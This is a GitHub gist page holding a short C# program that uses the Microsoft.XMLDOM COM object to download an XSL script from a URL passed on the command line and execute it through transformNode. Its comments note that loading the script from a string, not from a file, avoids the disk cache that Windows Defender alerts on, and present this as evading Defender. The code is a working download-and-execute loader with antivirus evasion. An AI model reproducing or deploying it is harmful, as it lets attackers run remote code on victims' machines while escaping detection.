Loads XSL files from memory (or disk) using the Microsoft.XMLDOM COM object. (original) (raw)
Star (2) You must be signed in to star a gist
Fork (3) You must be signed in to fork a gist
Clone this repository at <script src="https://gist.github.com/TheWover/3cdf0c33e7c1f40d0bac8c97d7523bcb.js"></script>
Save TheWover/3cdf0c33e7c1f40d0bac8c97d7523bcb to your computer and use it in GitHub Desktop.
Clone this repository at <script src="https://gist.github.com/TheWover/3cdf0c33e7c1f40d0bac8c97d7523bcb.js"></script>
Save TheWover/3cdf0c33e7c1f40d0bac8c97d7523bcb to your computer and use it in GitHub Desktop.
Loads XSL files from memory (or disk) using the Microsoft.XMLDOM COM object.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.Learn more about bidirectional Unicode characters
[ Show hidden characters]({{ revealButtonHref }})
| using System; | |
|---|---|
| using System.Collections.Generic; | |
| using System.Linq; | |
| using System.Reflection; | |
| using System.Text; | |
| using System.Threading.Tasks; | |
| namespace TryCOMXSLLoad | |
| { | |
| class Program | |
| { | |
| static void Main(string[] args) | |
| { | |
| //Read script from file | |
| //string script = System.IO.File.ReadAllText(args[0]); | |
| Type comType = Type.GetTypeFromProgID("Microsoft.XMLDOM"); | |
| Console.WriteLine("GUID: {0}", comType.GUID); | |
| Console.WriteLine("FullName: {0}", comType.FullName); | |
| Console.WriteLine("Name: {0}", comType.Name); | |
| object comObject = Activator.CreateInstance(comType); | |
| //Download the script from the URL specified by a command-line argument | |
| string script = new System.Net.WebClient().DownloadString(args[0]); | |
| string[] namedargs = { script }; | |
| //Provide a URL/File location for the load function | |
| //string[] namedargs = { args[0] }; | |
| //Set the async field to false | |
| comType.InvokeMember("async", | |
| BindingFlags.DeclaredOnly | | |
| BindingFlags.Public | BindingFlags.NonPublic | |
| BindingFlags.Instance | BindingFlags.SetProperty | BindingFlags.SetField, null, comObject, new Object[] { false }); |
| //Load from file. Results in a temporary cache file on disk that Defender alerts on | |
| //comType.InvokeMember("load", BindingFlags.InvokeMethod, null, comObject, namedargs); | |
| object xsl = comObject; | |
| //Load from string. No file is cached, evading Defender. | |
| comType.InvokeMember("loadXML", BindingFlags.Static | BindingFlags.InvokeMethod, null, comObject, namedargs); | |
| //Transform the XSL file | |
| comType.InvokeMember("transformNode", BindingFlags.Static | BindingFlags.InvokeMethod, null, comObject, new Object[] { xsl }); | |
| Console.Read(); | |
| } | |
| } | |
| } |